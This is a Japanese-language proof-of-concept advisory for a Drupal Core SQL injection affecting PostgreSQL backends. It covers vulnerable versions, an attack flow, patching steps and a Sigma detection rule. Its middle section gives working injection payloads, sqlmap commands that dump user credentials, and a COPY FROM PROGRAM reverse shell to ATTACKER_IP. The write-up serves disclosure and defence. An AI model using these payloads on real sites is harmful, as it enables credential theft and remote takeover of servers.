
CVE PoC
タイプ: SQLインジェクション (CWE-89) 影響を受ける製品: Drupal Core (データベース抽象化API) Drupal Advisory: SA-CORE-2026-004 公開日: 2026年5月20日 深刻度: 非常に重大 (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082は、Drupalのコアデータベース抽象化APIにおけるSQLインジェクションの脆弱性です。DrupalのDB層はPDOをラップし、すべてのクエリがデータベースに到達する前にサニタイズします。この脆弱性はPostgreSQLバックエンドのみでそのサニタイズをバイパスします。特別に細工されたHTTPリクエストが正規化ロジックをすり抜け、攻撃者が制御するSQLフラグメントをデータベースクエリに直接注入します。
MySQLおよびMariaDBはこのインジェクションベクトルの影響を受けませんが、パッチリリースにはすべてのバックエンドに影響する重要なSymfony/Twig修正も含まれています。
| ブランチ | 脆弱なバージョン | パッチ適用済み |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
前提条件: 対象はデータベースバックエンドとしてPostgreSQLを使用している必要があります。
DrupalのDB抽象化レイヤーは、パラメータ化クエリ/プリペアドステートメントを介して値をサニタイズしますが、クエリビルダーが信頼できる構造的SQL(フィールド名、演算子、ORDER BYターゲット)を提供することに依存しています。バグは、PostgreSQLドライバがクエリを構築する際に特定の入力パターンを処理する方法にあります。PostgreSQLのSQL方言は、重要な点でMySQLとは異なります。
|| による文字列連結:: による型キャストCOPY ... FROM PROGRAM コマンド細工されたリクエストは、Drupalの値レベルのサニタイズを通過するが、PostgreSQLパーサーによって構造的SQLとして解釈される文字/シーケンスを導入します。攻撃対象は、ユーザー制御のパラメータをDBクエリに渡す任意のエンドポイント(検索、ビューフィルター、フォーム送信、JSON:APIなど)を介して認証なしで到達可能です。
攻撃者(認証なし)
|
|--> 細工されたパラメータを含むHTTPリクエスト
| (例:検索フィールド、フィルター、フォーム入力)
|
v
Drupal DB抽象化API
|
|--> サニタイズのバイパス(PostgreSQL固有)
|
v
PostgreSQLが注入されたSQLを実行
|
|--> 情報漏洩(DB全体のダンプ)
|--> 権限昇格(管理者資格情報の注入)
|--> RCE(PostgreSQL COPY TO PROGRAM、lo_export など)
COPY TO PROGRAM 'cmd' 経由Drupal自身の警告: 「開示から数時間または数日以内にエクスプロイトが開発される可能性がある」(過去のDrupal DB層CVE(SA-CORE-2014-005 / Drupalgeddonなど)とも一致)
# DB抽象化レイヤーを介してユーザー入力を渡すエンドポイント
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# 時間ベース(pg_sleepはPostgreSQLのみ)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# キャストベースのプローブ(::はPostgreSQL構文)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# ブールベースの識別
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# インジェクション確認後、資格情報をダンプ
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- カラム数の特定
test' ORDER BY 1--
test' ORDER BY 2-- -- エラーが出るまで増加
-- 資格情報の抽出(PostgreSQL構文)
test' UNION SELECT null,username,password FROM users_field_data--
-- DBユーザーがスーパーユーザーか確認
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- リバースシェル(ATTACKER_IP/PORTを置き換え)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer(推奨)
composer update drupal/core drupal/core-recommended
# バージョン確認
php core/scripts/drupal --version
# またはDrush経由
drush updb && drush cr
-- アプリケーションDBユーザーがスーパーユーザーでないことを確認
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- usesuper = false を返すべき
パターンをブロック: pg_sleep、COPY.*PROGRAM、::text、::integer、UNION.*SELECT、%27--
PostgreSQLがlocalhostまたはプライベートインターフェースのみにバインドし、インターネットから到達できないようにする。
title: Drupal CVE-2026-9082 SQLインジェクション試行
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082は、PostgreSQLバックエンドを標的としたDrupal Coreにおける認証不要のSQLインジェクションです。NVD CVSSは6.5と中程度ですが、Drupalは20/25(非常に重大)と評価しています。これは、認証不要のアクセスとPostgreSQLのCOPY TO PROGRAMを組み合わせることで、設定ミスの環境では直接RCEにつながるためです。影響を受けるバージョン範囲の広さと、バンドルされたTwig SSTI修正により、これはすべてのDrupalサイト、特にインターネットに公開されたデプロイメントでPostgreSQLを使用しているサイトにとって重大かつ緊急のパッチです。
推奨される対応: すぐに該当ブランチのパッチ適用済みバージョンに更新してください。アプリケーションDBユーザーがPostgreSQLスーパーユーザーでないことを確認してください。
| ソース | シグナル |
|---|
| Webログ | クエリ文字列中の pg_sleep、::、UNION SELECT、--、COPY PROGRAM |
| PostgreSQLログ | Webリクエストのタイムスタンプと相関する構文エラー |
| Drupal watchdog | search/view/jsonapiエンドポイントからのDB例外 |
| auditd | postgres が子プロセスを生成(COPY TO PROGRAM) |
| Drupal usersテーブル | 最近のタイムスタンプを持つ新しい administrator ロール行 |